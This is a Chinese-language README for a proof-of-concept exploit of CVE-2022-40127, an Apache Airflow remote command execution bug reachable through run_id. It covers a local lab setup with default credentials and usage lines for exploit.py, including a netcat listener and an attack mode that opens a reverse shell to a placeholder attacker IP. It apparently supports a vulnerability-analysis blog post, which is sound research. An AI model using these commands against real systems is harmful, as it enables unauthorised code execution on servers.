针对CVE-2022-40127的PoC,这是一个Apache Airflow远程代码执行漏洞,影响2.4.0之前的版本。
官方报告描述称:
Apache Airflow的示例DAG中存在一个漏洞,允许具有UI访问权限且能触发DAG的攻击者通过手动提供的run_id参数执行任意命令。该问题影响Apache Airflow 2.4.0之前的版本。
该仓库是为一篇CVE分析博客文章创建的,文章可在vsociety博客上查阅。
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
你可以克隆该仓库:
git clone https://github.com/jakabakos/CVE-2022-40127.git
从官方仓库下载docker-compose文件
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
运行Airflow
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
在此情况下,用户名和密码均为airflow。
根据官方安装说明:
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
你可以使用which airflow和/或airflow info命令验证安装是否成功。
运行Airflow
airflow standalone
在日志中查看生成的密码和用户名。
首先,使用pip安装所需依赖包:
pip3 install -r requirements.txt
查看可用选项:
python3 exploit.py --help
你可以检查主机是否可被利用:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
在另一个终端会话中设置本地监听器以接收反弹Shell:
nc -lvnp 4242
使用以下命令以攻击模式运行脚本:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
你应该在一分钟左右看到连接。
